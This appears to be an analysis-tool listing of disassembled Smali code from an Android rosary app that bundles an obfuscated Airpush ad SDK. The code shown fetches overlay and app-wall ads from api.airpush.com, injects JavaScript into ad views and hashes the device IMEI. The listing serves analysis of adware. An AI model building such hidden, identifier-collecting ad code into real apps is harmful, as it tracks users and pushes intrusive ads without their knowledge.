4invoke-interface {p1}, Lorg/apache/http/HttpResponse;->getEntity()Lorg/apache/http/HttpEntity;
5move-result-object v3
7invoke-interface {v3}, Lorg/apache/http/HttpEntity;->getContentEncoding()Lorg/apache/http/Header;
8move-result-object v2
9if-eqz v2, :cond_2c
11invoke-interface {v2}, Lorg/apache/http/Header;->getElements()[Lorg/apache/http/HeaderElement;
12move-result-object v0
13array-length v5, v0
14const/4 v4, 0x0
15goto_10: if-ge v4, v5, :cond_2c
16aget-object v1, v0, v4
18invoke-interface {v1}, Lorg/apache/http/HeaderElement;->getName()Ljava/lang/String;
19move-result-object v6
21const-string v7, "gzip"
23invoke-virtual {v6, v7}, Ljava/lang/String;->equalsIgnoreCase(Ljava/lang/String;)Z
  • Data flow analysis:
    • p0: gzip
24move-result v6
25if-eqz v6, :cond_2d
26new-instance v6, Lcom/vxjxu/jkhfn1870/NetworkThread$InflatingEntity;
28invoke-interface {p1}, Lorg/apache/http/HttpResponse;->getEntity()Lorg/apache/http/HttpEntity;
29move-result-object v7
31invoke-direct {v6, v7}, Lcom/vxjxu/jkhfn1870/NetworkThread$InflatingEntity;-><init>(Lorg/apache/http/HttpEntity;)V
33invoke-interface {p1, v6}, Lorg/apache/http/HttpResponse;->setEntity(Lorg/apache/http/HttpEntity;)V
34cond_2c: return-void
35cond_2d: add-int/lit8 v4, v4, 0x1
36goto/16 :goto_10
Cross References
APIs
  • java.util.Timer.<init>
  • com.vxjxu.jkhfn1870.AdView$9.<init>
  • java.util.Timer.scheduleAtFixedRate
  • java.util.Timer.cancel
  • android.util.Log.i
  • java.lang.Exception.printStackTrace
Strings
  • AirplayMraid
  • Lost foucus. Removing thread>>>
Position Instruction Meta Information
0.param p1, "isViewable" # Z
1.prologue
2const-wide/16 v8, 0x3e8
3monitor-enter p0
4try_start_3: iget-boolean v0, p0, Lcom/vxjxu/jkhfn1870/AdView;->isAnyIssue:Z
5try_end_5: if-eqz v0, :cond_9
6try_start_7: monitor-exit p0
7goto_8: return-void
8cond_9: if-eqz p1, :cond_2d
9try_start_b:
10iget-object v0, p0, Lcom/vxjxu/jkhfn1870/AdView;->timer:Ljava/util/Timer;
11if-nez v0, :cond_28
12new-instance v0, Ljava/util/Timer;
14invoke-direct {v0}, Ljava/util/Timer;-><init>()V
15iput-object v0, p0, Lcom/vxjxu/jkhfn1870/AdView;->timer:Ljava/util/Timer;
16new-instance v1, Lcom/vxjxu/jkhfn1870/AdView$9;
18invoke-direct {v1, p0}, Lcom/vxjxu/jkhfn1870/AdView$9;-><init>(Lcom/vxjxu/jkhfn1870/AdView;)V
20iget-object v0, p0, Lcom/vxjxu/jkhfn1870/AdView;->timer:Ljava/util/Timer;
21iget v2, p0, Lcom/vxjxu/jkhfn1870/AdView;->adRefreshTime:I
22int-to-long v2, v2
23mul-long/2addr v2, v8
24iget v4, p0, Lcom/vxjxu/jkhfn1870/AdView;->adRefreshTime:I
25int-to-long v4, v4
26mul-long/2addr v4, v8
28invoke-virtual/range {v0 .. v5}, Ljava/util/Timer;->scheduleAtFixedRate(Ljava/util/TimerTask;JJ)V
29goto_28: monitor-exit p0
30goto/16 :goto_8
31catchall_2a: move-exception v0
32monitor-exit p0
33try_end_2c: throw v0
34try_start_2d:
35iget-object v0, p0, Lcom/vxjxu/jkhfn1870/AdView;->timer:Ljava/util/Timer;
36if-eqz v0, :cond_28
38iget-object v0, p0, Lcom/vxjxu/jkhfn1870/AdView;->timer:Ljava/util/Timer;
40invoke-virtual {v0}, Ljava/util/Timer;->cancel()V
41const/4 v0, 0x0
42iput-object v0, p0, Lcom/vxjxu/jkhfn1870/AdView;->timer:Ljava/util/Timer;
44const-string v0, "AirplayMraid"
46const-string v2, "Lost foucus. Removing thread>>>"
48invoke-static {v0, v2}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I
  • Data flow analysis:
    • tag: AirplayMraid
    • msg: Lost foucus. Removing thread>>>
49const/4 v0, 0x1
50iput-boolean v0, p0, Lcom/vxjxu/jkhfn1870/AdView;->canFetchAd:Z
51try_end_43: goto/16 :goto_28
52catch_44: move-exception v6
53try_start_45:
54invoke-virtual {v6}, Ljava/lang/Exception;->printStackTrace()V
55try_end_48: goto/16 :goto_28
APIs
  • com.vxjxu.jkhfn1870.BrowserActivity.access$000
  • com.vxjxu.jkhfn1870.BrowserActivity.setContentView
  • com.vxjxu.jkhfn1870.BrowserActivity.access$000
  • com.vxjxu.jkhfn1870.MraidView.setVisibility
  • android.widget.Toast.makeText
  • android.widget.Toast.show
  • com.vxjxu.jkhfn1870.BrowserActivity.finish
Strings
  • Ad is showing on screen.
Position Instruction Meta Information
0.param p1, "msg" # Landroid/os/Message;
1.prologue
2const/4 v2, 0x0
3iget v0, p1, Landroid/os/Message;->what:I
4packed-switch v0, :pswitch_data_2e
5goto_6: return-void
6pswitch_7:
7iget-object v0, p0, Lcom/vxjxu/jkhfn1870/BrowserActivity$1;->this$0:Lcom/vxjxu/jkhfn1870/BrowserActivity;
9iget-object v1, p0, Lcom/vxjxu/jkhfn1870/BrowserActivity$1;->this$0:Lcom/vxjxu/jkhfn1870/BrowserActivity;
11invoke-static {v1}, Lcom/vxjxu/jkhfn1870/BrowserActivity;->access$000(Lcom/vxjxu/jkhfn1870/BrowserActivity;)Lcom/vxjxu/jkhfn1870/MraidView;
12move-result-object v1
14invoke-virtual {v0, v1}, Lcom/vxjxu/jkhfn1870/BrowserActivity;->setContentView(Landroid/view/View;)V
16iget-object v0, p0, Lcom/vxjxu/jkhfn1870/BrowserActivity$1;->this$0:Lcom/vxjxu/jkhfn1870/BrowserActivity;
18invoke-static {v0}, Lcom/vxjxu/jkhfn1870/BrowserActivity;->access$000(Lcom/vxjxu/jkhfn1870/BrowserActivity;)Lcom/vxjxu/jkhfn1870/MraidView;
19move-result-object v0
21invoke-virtual {v0, v2}, Lcom/vxjxu/jkhfn1870/MraidView;->setVisibility(I)V
  • Data flow analysis:
    • p0: 0
23iget-object v0, p0, Lcom/vxjxu/jkhfn1870/BrowserActivity$1;->this$0:Lcom/vxjxu/jkhfn1870/BrowserActivity;
25const-string v1, "Ad is showing on screen."
27invoke-static {v0, v1, v2}, Landroid/widget/Toast;->makeText(Landroid/content/Context;Ljava/lang/CharSequence;I)Landroid/widget/Toast;
  • Data flow analysis:
    • p1: Ad is showing on screen.
    • p2: 0
28move-result-object v0
30invoke-virtual {v0}, Landroid/widget/Toast;->show()V
31goto/16 :goto_6
32pswitch_27:
33iget-object v0, p0, Lcom/vxjxu/jkhfn1870/BrowserActivity$1;->this$0:Lcom/vxjxu/jkhfn1870/BrowserActivity;
35invoke-virtual {v0}, Lcom/vxjxu/jkhfn1870/BrowserActivity;->finish()V
36goto/16 :goto_6
37nop
APIs
  • java.util.ArrayList.<init>
  • java.lang.Thread.<init>
  • java.lang.Thread.start
  • android.util.Log.e
Strings
  • https://api.airpush.com/overlayads/overlayadcall.php
  • overlay
  • AirplaySDK
  • Error occurred in while requesting:
Position Instruction Meta Information
0.prologue
1try_start_0: new-instance v4, Ljava/util/ArrayList;
3invoke-direct {v4}, Ljava/util/ArrayList;-><init>()V
5const-string v5, "https://api.airpush.com/overlayads/overlayadcall.php"
6new-instance v1, Lcom/vxjxu/jkhfn1870/NetworkThread;
8invoke-static {}, Lcom/vxjxu/jkhfn1870/AirPlay;->access$000()Landroid/app/Activity;
9move-result-object v2
10const-wide/16 v6, 0x0
11const/4 v8, 0x1
12move-object v3, p0
14invoke-direct/range {v1 .. v8}, Lcom/vxjxu/jkhfn1870/NetworkThread;-><init>(Landroid/content/Context;Lcom/vxjxu/jkhfn1870/AsyncTaskCompleteListener;Ljava/util/List;Ljava/lang/String;JZ)V
15new-instance v2, Ljava/lang/Thread;
17const-string v3, "overlay"
19invoke-direct {v2, v1, v3}, Ljava/lang/Thread;-><init>(Ljava/lang/Runnable;Ljava/lang/String;)V
  • Data flow analysis:
    • p1: overlay
21invoke-virtual {v2}, Ljava/lang/Thread;->start()V
22goto_1e: return-void
23catch_1f: move-exception v0
25const-string v2, "AirplaySDK"
27const-string v3, "Error occurred in while requesting: "
29invoke-static {v2, v3, v0}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;Ljava/lang/Throwable;)I
  • Data flow analysis:
    • tag: AirplaySDK
    • msg: Error occurred in while requesting:
30goto/16 :goto_1e
APIs
  • android.content.Intent.<init>
  • android.content.Intent.setFlags
  • android.content.Intent.addFlags
  • android.content.Intent.setAction
  • android.content.Intent.putExtra
  • android.app.Activity.startActivity
Strings
  • overlayad
  • adtype
Position Instruction Meta Information
0.prologue
1new-instance v0, Landroid/content/Intent;
3invoke-static {}, Lcom/vxjxu/jkhfn1870/AirPlay;->access$000()Landroid/app/Activity;
4move-result-object v1
5const-class v2, Lcom/vxjxu/jkhfn1870/SmartWallActivity;
7invoke-direct {v0, v1, v2}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
8const/high16 v1, 0x10000000
10invoke-virtual {v0, v1}, Landroid/content/Intent;->setFlags(I)Landroid/content/Intent;
  • Data flow analysis:
    • p0: 268435456
11const/high16 v1, 0x800000
13invoke-virtual {v0, v1}, Landroid/content/Intent;->addFlags(I)Landroid/content/Intent;
  • Data flow analysis:
    • flags: 8388608
15const-string v1, "overlayad"
17invoke-virtual {v0, v1}, Landroid/content/Intent;->setAction(Ljava/lang/String;)Landroid/content/Intent;
  • Data flow analysis:
    • p0: overlayad
19const-string v1, "adtype"
21iget-object v2, p0, Lcom/vxjxu/jkhfn1870/AirPlay$8;->val$adtype:Ljava/lang/String;
23invoke-virtual {v0, v1, v2}, Landroid/content/Intent;->putExtra(Ljava/lang/String;Ljava/lang/String;)Landroid/content/Intent;
  • Data flow analysis:
    • p0: adtype
25invoke-static {}, Lcom/vxjxu/jkhfn1870/AirPlay;->access$000()Landroid/app/Activity;
26move-result-object v1
28invoke-virtual {v1, v0}, Landroid/app/Activity;->startActivity(Landroid/content/Intent;)V
29return-void
Cross References
APIs
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • com.vxjxu.jkhfn1870.MraidView.injectJSCode
Strings
  • mraid.setState(\'
  • \');
Position Instruction Meta Information
0.param p1, "state" # Ljava/lang/String;
1.prologue
2iput-object p1, p0, Lcom/vxjxu/jkhfn1870/MraidView;->state:Ljava/lang/String;
3new-instance v0, Ljava/lang/StringBuilder;
5invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
7const-string v1, "mraid.setState(\'"
9invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: mraid.setState(\'
10move-result-object v0
12invoke-virtual {v0, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
13move-result-object v0
15const-string v1, "\');"
17invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: \');
18move-result-object v0
20invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
21move-result-object v0
23invoke-virtual {p0, v0}, Lcom/vxjxu/jkhfn1870/MraidView;->injectJSCode(Ljava/lang/String;)V
24return-void
APIs
  • android.app.Activity.onStop
  • prsolutions.rosariofacileads.Opzioni.getSharedPreferences
  • android.content.SharedPreferences.edit
  • android.widget.CheckBox.isChecked
  • android.content.SharedPreferences$Editor.putBoolean
  • android.content.SharedPreferences$Editor.commit
Strings
  • MyPrefsFile
  • sleep_mode
Position Instruction Meta Information
0.prologue
2invoke-super {p0}, Landroid/app/Activity;->onStop()V
4const-string v2, "MyPrefsFile"
5const/4 v3, 0x0
7invoke-virtual {p0, v2, v3}, Lprsolutions/rosariofacileads/Opzioni;->getSharedPreferences(Ljava/lang/String;I)Landroid/content/SharedPreferences;
  • Data flow analysis:
    • p0: MyPrefsFile
    • p1: 0
8move-result-object v1
10invoke-interface {v1}, Landroid/content/SharedPreferences;->edit()Landroid/content/SharedPreferences$Editor;
11move-result-object v0
13const-string v2, "sleep_mode"
15iget-object v3, p0, Lprsolutions/rosariofacileads/Opzioni;->mSleep:Landroid/widget/CheckBox;
17invoke-virtual {v3}, Landroid/widget/CheckBox;->isChecked()Z
18move-result v3
20invoke-interface {v0, v2, v3}, Landroid/content/SharedPreferences$Editor;->putBoolean(Ljava/lang/String;Z)Landroid/content/SharedPreferences$Editor;
  • Data flow analysis:
    • p0: sleep_mode
22invoke-interface {v0}, Landroid/content/SharedPreferences$Editor;->commit()Z
23return-void
Cross References
APIs
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • com.vxjxu.jkhfn1870.MraidView.injectJSCode
Strings
  • mraid.setViewable(
  • );
Position Instruction Meta Information
0.param p1, "isViewable" # Z
1.prologue
2new-instance v0, Ljava/lang/StringBuilder;
4invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
6const-string v1, "mraid.setViewable("
8invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: mraid.setViewable(
9move-result-object v0
11invoke-virtual {v0, p1}, Ljava/lang/StringBuilder;->append(Z)Ljava/lang/StringBuilder;
12move-result-object v0
14const-string v1, ");"
16invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: );
17move-result-object v0
19invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
20move-result-object v0
22invoke-virtual {p0, v0}, Lcom/vxjxu/jkhfn1870/MraidView;->injectJSCode(Ljava/lang/String;)V
23return-void
Cross References
APIs
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • com.vxjxu.jkhfn1870.MraidView.injectJSCode
Strings
  • mraid.triggerEvent(\'
  • \');
Position Instruction Meta Information
0.param p1, "event" # Ljava/lang/String;
1.prologue
2new-instance v0, Ljava/lang/StringBuilder;
4invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
6const-string v1, "mraid.triggerEvent(\'"
8invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: mraid.triggerEvent(\'
9move-result-object v0
11invoke-virtual {v0, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
12move-result-object v0
14const-string v1, "\');"
16invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: \');
17move-result-object v0
19invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
20move-result-object v0
22invoke-virtual {p0, v0}, Lcom/vxjxu/jkhfn1870/MraidView;->injectJSCode(Ljava/lang/String;)V
23return-void
APIs
  • com.vxjxu.jkhfn1870.MraidView.access$1100
  • com.vxjxu.jkhfn1870.MraidView.getParent
  • com.vxjxu.jkhfn1870.MraidView.access$1100
  • android.view.ViewGroup.removeView
  • com.vxjxu.jkhfn1870.MraidView.access$1100
  • android.widget.VideoView.isPlaying
  • com.vxjxu.jkhfn1870.MraidView.access$1100
  • android.widget.VideoView.stopPlayback
  • com.vxjxu.jkhfn1870.MraidView.canFetchAd
Position Instruction Meta Information
0.prologue
2iget-object v0, p0, Lcom/vxjxu/jkhfn1870/MraidView$AirpushWebChromeClient;->this$0:Lcom/vxjxu/jkhfn1870/MraidView;
4invoke-static {v0}, Lcom/vxjxu/jkhfn1870/MraidView;->access$1100(Lcom/vxjxu/jkhfn1870/MraidView;)Landroid/widget/VideoView;
5move-result-object v0
6if-eqz v0, :cond_2e
8iget-object v0, p0, Lcom/vxjxu/jkhfn1870/MraidView$AirpushWebChromeClient;->this$0:Lcom/vxjxu/jkhfn1870/MraidView;
10invoke-virtual {v0}, Lcom/vxjxu/jkhfn1870/MraidView;->getParent()Landroid/view/ViewParent;
11move-result-object v0
12check-cast v0, Landroid/view/ViewGroup;
14iget-object v1, p0, Lcom/vxjxu/jkhfn1870/MraidView$AirpushWebChromeClient;->this$0:Lcom/vxjxu/jkhfn1870/MraidView;
16invoke-static {v1}, Lcom/vxjxu/jkhfn1870/MraidView;->access$1100(Lcom/vxjxu/jkhfn1870/MraidView;)Landroid/widget/VideoView;
17move-result-object v1
19invoke-virtual {v0, v1}, Landroid/view/ViewGroup;->removeView(Landroid/view/View;)V
21iget-object v0, p0, Lcom/vxjxu/jkhfn1870/MraidView$AirpushWebChromeClient;->this$0:Lcom/vxjxu/jkhfn1870/MraidView;
23invoke-static {v0}, Lcom/vxjxu/jkhfn1870/MraidView;->access$1100(Lcom/vxjxu/jkhfn1870/MraidView;)Landroid/widget/VideoView;
24move-result-object v0
26invoke-virtual {v0}, Landroid/widget/VideoView;->isPlaying()Z
27move-result v0
28if-eqz v0, :cond_2e
30iget-object v0, p0, Lcom/vxjxu/jkhfn1870/MraidView$AirpushWebChromeClient;->this$0:Lcom/vxjxu/jkhfn1870/MraidView;
32invoke-static {v0}, Lcom/vxjxu/jkhfn1870/MraidView;->access$1100(Lcom/vxjxu/jkhfn1870/MraidView;)Landroid/widget/VideoView;
33move-result-object v0
35invoke-virtual {v0}, Landroid/widget/VideoView;->stopPlayback()V
36cond_2e:
37iget-object v0, p0, Lcom/vxjxu/jkhfn1870/MraidView$AirpushWebChromeClient;->this$0:Lcom/vxjxu/jkhfn1870/MraidView;
38const/4 v1, 0x1
40invoke-virtual {v0, v1}, Lcom/vxjxu/jkhfn1870/MraidView;->canFetchAd(Z)V
  • Data flow analysis:
    • p0: 1
41return-void
Cross References
APIs
  • java.lang.String.equalsIgnoreCase
  • java.lang.String.equals
  • com.vxjxu.jkhfn1870.AdView.getAd
Strings
  • expanded
  • resized
  • inline
Position Instruction Meta Information
0.param p1, "canFetchAd" # Z
1.prologue
3iget-object v0, p0, Lcom/vxjxu/jkhfn1870/MraidView;->adView:Lcom/vxjxu/jkhfn1870/AdView;
4if-eqz v0, :cond_3a
5if-eqz p1, :cond_3b
7iget-object v0, p0, Lcom/vxjxu/jkhfn1870/MraidView;->state:Ljava/lang/String;
8if-eqz v0, :cond_3b
10iget-object v0, p0, Lcom/vxjxu/jkhfn1870/MraidView;->state:Ljava/lang/String;
12const-string v1, "expanded"
14invoke-virtual {v0, v1}, Ljava/lang/String;->equalsIgnoreCase(Ljava/lang/String;)Z
  • Data flow analysis:
    • p0: expanded
15move-result v0
16if-eqz v0, :cond_1e
18iget-object v0, p0, Lcom/vxjxu/jkhfn1870/MraidView;->state:Ljava/lang/String;
20const-string v1, "resized"
22invoke-virtual {v0, v1}, Ljava/lang/String;->equalsIgnoreCase(Ljava/lang/String;)Z
  • Data flow analysis:
    • p0: resized
23move-result v0
24if-nez v0, :cond_3b
25cond_1e:
26iget-object v0, p0, Lcom/vxjxu/jkhfn1870/MraidView;->adView:Lcom/vxjxu/jkhfn1870/AdView;
27const/4 v1, 0x1
28iput-boolean v1, v0, Lcom/vxjxu/jkhfn1870/AdView;->canFetchAd:Z
30iget-object v0, p0, Lcom/vxjxu/jkhfn1870/MraidView;->placementType:Ljava/lang/String;
31if-eqz v0, :cond_3a
33iget-object v0, p0, Lcom/vxjxu/jkhfn1870/MraidView;->placementType:Ljava/lang/String;
35const-string v1, "inline"
37invoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
  • Data flow analysis:
    • p0: inline
38move-result v0
39if-eqz v0, :cond_3a
41iget-object v0, p0, Lcom/vxjxu/jkhfn1870/MraidView;->adView:Lcom/vxjxu/jkhfn1870/AdView;
42if-eqz v0, :cond_3a
44iget-object v0, p0, Lcom/vxjxu/jkhfn1870/MraidView;->adView:Lcom/vxjxu/jkhfn1870/AdView;
46invoke-virtual {v0}, Lcom/vxjxu/jkhfn1870/AdView;->getAd()V
47cond_3a: return-void
48cond_3b:
49iget-object v0, p0, Lcom/vxjxu/jkhfn1870/MraidView;->adView:Lcom/vxjxu/jkhfn1870/AdView;
50const/4 v1, 0x0
51iput-boolean v1, v0, Lcom/vxjxu/jkhfn1870/AdView;->canFetchAd:Z
52goto/16 :goto_3a
APIs
  • android.content.DialogInterface.dismiss
  • com.vxjxu.jkhfn1870.MraidView.triggerErrorEvent
  • com.vxjxu.jkhfn1870.MraidView.access$100
  • com.vxjxu.jkhfn1870.MraidView.canFetchAd
Strings
  • storePicture
  • User has canceled.
Position Instruction Meta Information
0.param p1, "dialog" # Landroid/content/DialogInterface;
1.param p2, "which" # I
2.prologue
4invoke-interface {p1}, Landroid/content/DialogInterface;->dismiss()V
6iget-object v0, p0, Lcom/vxjxu/jkhfn1870/MraidView$3;->this$0:Lcom/vxjxu/jkhfn1870/MraidView;
8const-string v1, "storePicture"
10const-string v2, "User has canceled."
12invoke-virtual {v0, v1, v2}, Lcom/vxjxu/jkhfn1870/MraidView;->triggerErrorEvent(Ljava/lang/String;Ljava/lang/String;)V
  • Data flow analysis:
    • p0: storePicture
    • p1: User has canceled.
14iget-object v0, p0, Lcom/vxjxu/jkhfn1870/MraidView$3;->this$0:Lcom/vxjxu/jkhfn1870/MraidView;
16invoke-static {v0}, Lcom/vxjxu/jkhfn1870/MraidView;->access$100(Lcom/vxjxu/jkhfn1870/MraidView;)Lcom/vxjxu/jkhfn1870/AdCallbackListener$MraidCallbackListener;
17move-result-object v0
18if-eqz v0, :cond_1d
20iget-object v0, p0, Lcom/vxjxu/jkhfn1870/MraidView$3;->this$0:Lcom/vxjxu/jkhfn1870/MraidView;
22invoke-static {v0}, Lcom/vxjxu/jkhfn1870/MraidView;->access$100(Lcom/vxjxu/jkhfn1870/MraidView;)Lcom/vxjxu/jkhfn1870/AdCallbackListener$MraidCallbackListener;
23move-result-object v0
25invoke-interface {v0}, Lcom/vxjxu/jkhfn1870/AdCallbackListener$MraidCallbackListener;->onCloseListener()V
26cond_1d:
27iget-object v0, p0, Lcom/vxjxu/jkhfn1870/MraidView$3;->this$0:Lcom/vxjxu/jkhfn1870/MraidView;
28const/4 v1, 0x1
30invoke-virtual {v0, v1}, Lcom/vxjxu/jkhfn1870/MraidView;->canFetchAd(Z)V
  • Data flow analysis:
    • p0: 1
31return-void
APIs
  • java.util.ArrayList.<init>
  • java.lang.Thread.<init>
  • java.lang.Thread.start
  • java.lang.NullPointerException.printStackTrace
  • java.lang.Exception.printStackTrace
Strings
  • https://api.airpush.com/appwall/getid.php
  • AppWall
Position Instruction Meta Information
0.prologue
1try_start_0: new-instance v4, Ljava/util/ArrayList;
3invoke-direct {v4}, Ljava/util/ArrayList;-><init>()V
4new-instance v1, Lcom/vxjxu/jkhfn1870/NetworkThread;
6invoke-static {}, Lcom/vxjxu/jkhfn1870/AirPlay;->access$000()Landroid/app/Activity;
7move-result-object v2
9const-string v5, "https://api.airpush.com/appwall/getid.php"
10const-wide/16 v6, 0x0
11const/4 v8, 0x1
12move-object v3, p0
14invoke-direct/range {v1 .. v8}, Lcom/vxjxu/jkhfn1870/NetworkThread;-><init>(Landroid/content/Context;Lcom/vxjxu/jkhfn1870/AsyncTaskCompleteListener;Ljava/util/List;Ljava/lang/String;JZ)V
15new-instance v2, Ljava/lang/Thread;
17const-string v3, "AppWall"
19invoke-direct {v2, v1, v3}, Ljava/lang/Thread;-><init>(Ljava/lang/Runnable;Ljava/lang/String;)V
  • Data flow analysis:
    • p1: AppWall
21invoke-virtual {v2}, Ljava/lang/Thread;->start()V
22goto_1e: return-void
23catch_1f: move-exception v0
25invoke-virtual {v0}, Ljava/lang/NullPointerException;->printStackTrace()V
26goto/16 :goto_1e
27catch_24: move-exception v0
29invoke-virtual {v0}, Ljava/lang/Exception;->printStackTrace()V
30goto/16 :goto_1e
APIs
  • android.content.DialogInterface.dismiss
  • com.vxjxu.jkhfn1870.MraidView.triggerErrorEvent
  • com.vxjxu.jkhfn1870.MraidView.access$100
  • com.vxjxu.jkhfn1870.MraidView.canFetchAd
Strings
  • storePicture
  • User has canceled.
Position Instruction Meta Information
0.param p1, "dialog" # Landroid/content/DialogInterface;
1.prologue
3invoke-interface {p1}, Landroid/content/DialogInterface;->dismiss()V
5iget-object v0, p0, Lcom/vxjxu/jkhfn1870/MraidView$4;->this$0:Lcom/vxjxu/jkhfn1870/MraidView;
7const-string v1, "storePicture"
9const-string v2, "User has canceled."
11invoke-virtual {v0, v1, v2}, Lcom/vxjxu/jkhfn1870/MraidView;->triggerErrorEvent(Ljava/lang/String;Ljava/lang/String;)V
  • Data flow analysis:
    • p0: storePicture
    • p1: User has canceled.
13iget-object v0, p0, Lcom/vxjxu/jkhfn1870/MraidView$4;->this$0:Lcom/vxjxu/jkhfn1870/MraidView;
15invoke-static {v0}, Lcom/vxjxu/jkhfn1870/MraidView;->access$100(Lcom/vxjxu/jkhfn1870/MraidView;)Lcom/vxjxu/jkhfn1870/AdCallbackListener$MraidCallbackListener;
16move-result-object v0
17if-eqz v0, :cond_1d
19iget-object v0, p0, Lcom/vxjxu/jkhfn1870/MraidView$4;->this$0:Lcom/vxjxu/jkhfn1870/MraidView;
21invoke-static {v0}, Lcom/vxjxu/jkhfn1870/MraidView;->access$100(Lcom/vxjxu/jkhfn1870/MraidView;)Lcom/vxjxu/jkhfn1870/AdCallbackListener$MraidCallbackListener;
22move-result-object v0
24invoke-interface {v0}, Lcom/vxjxu/jkhfn1870/AdCallbackListener$MraidCallbackListener;->onCloseListener()V
25cond_1d:
26iget-object v0, p0, Lcom/vxjxu/jkhfn1870/MraidView$4;->this$0:Lcom/vxjxu/jkhfn1870/MraidView;
27const/4 v1, 0x1
29invoke-virtual {v0, v1}, Lcom/vxjxu/jkhfn1870/MraidView;->canFetchAd(Z)V
  • Data flow analysis:
    • p0: 1
30return-void
APIs
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • android.util.Log.i
Strings
  • AirplayMraid
  • JS Log:
Position Instruction Meta Information
0.param p1, "log" # Ljava/lang/String;
1.annotation runtime Landroid/webkit/JavascriptInterface;
2.end annotation
3.prologue
5const-string v0, "AirplayMraid"
6new-instance v1, Ljava/lang/StringBuilder;
8invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
10const-string v2, "JS Log: "
12invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: JS Log:
13move-result-object v1
15invoke-virtual {v1, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
16move-result-object v1
18invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
19move-result-object v1
21invoke-static {v0, v1}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I
  • Data flow analysis:
    • tag: AirplayMraid
22return-void
Cross References
APIs
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • android.util.Log.i
Strings
  • AirplaySDK
  • Info sent:
Position Instruction Meta Information
0.param p1, "result" # Ljava/lang/String;
1.prologue
3const-string v0, "AirplaySDK"
4new-instance v1, Ljava/lang/StringBuilder;
6invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
8const-string v2, "Info sent: "
10invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: Info sent:
11move-result-object v1
13invoke-virtual {v1, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
14move-result-object v1
16invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
17move-result-object v1
19invoke-static {v0, v1}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I
  • Data flow analysis:
    • tag: AirplaySDK
20return-void
Cross References
APIs
  • android.util.Log.e
Strings
  • AirplaySDK
  • Context is null.
  • Context is null
  • Error occurred while checking required details:
Position Instruction Meta Information
0.param p0, "mContext" # Landroid/content/Context;
1.prologue
2const/4 v2, 0x1
3if-nez p0, :cond_10
4try_start_3:
5const-string v3, "AirplaySDK"
7const-string v4, "Context is null."
9invoke-static {v3, v4}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;)I
  • Data flow analysis:
    • tag: AirplaySDK
    • msg: Context is null.
11const-string v3, "Context is null"
13invoke-static {v3}, Lcom/vxjxu/jkhfn1870/AirPlay;->sendIntegrationError(Ljava/lang/String;)V
  • Data flow analysis:
    • p0: Context is null
14const/4 v2, 0x0
15cond_10:
16invoke-static {p0}, Lcom/vxjxu/jkhfn1870/AirPlay;->getDataFromManifest(Landroid/content/Context;)Z
17move-result v3
18if-nez v3, :cond_17
19const/4 v2, 0x0
20cond_17:
21invoke-static {p0}, Lcom/vxjxu/jkhfn1870/AirPlay;->checkRequiredPermission(Landroid/content/Context;)Z
22move-result v3
23if-nez v3, :cond_1e
24const/4 v2, 0x0
25cond_1e: new-instance v0, Lcom/vxjxu/jkhfn1870/UserDetails;
27invoke-direct {v0, p0}, Lcom/vxjxu/jkhfn1870/UserDetails;-><init>(Landroid/content/Context;)V
29invoke-virtual {v0}, Lcom/vxjxu/jkhfn1870/UserDetails;->setImeiInMd5()Z
30move-result v3
31if-nez v3, :cond_2a
32const/4 v2, 0x0
33cond_2a: new-instance v3, Lcom/vxjxu/jkhfn1870/SetPreferences;
35invoke-direct {v3, p0}, Lcom/vxjxu/jkhfn1870/SetPreferences;-><init>(Landroid/content/Context;)V
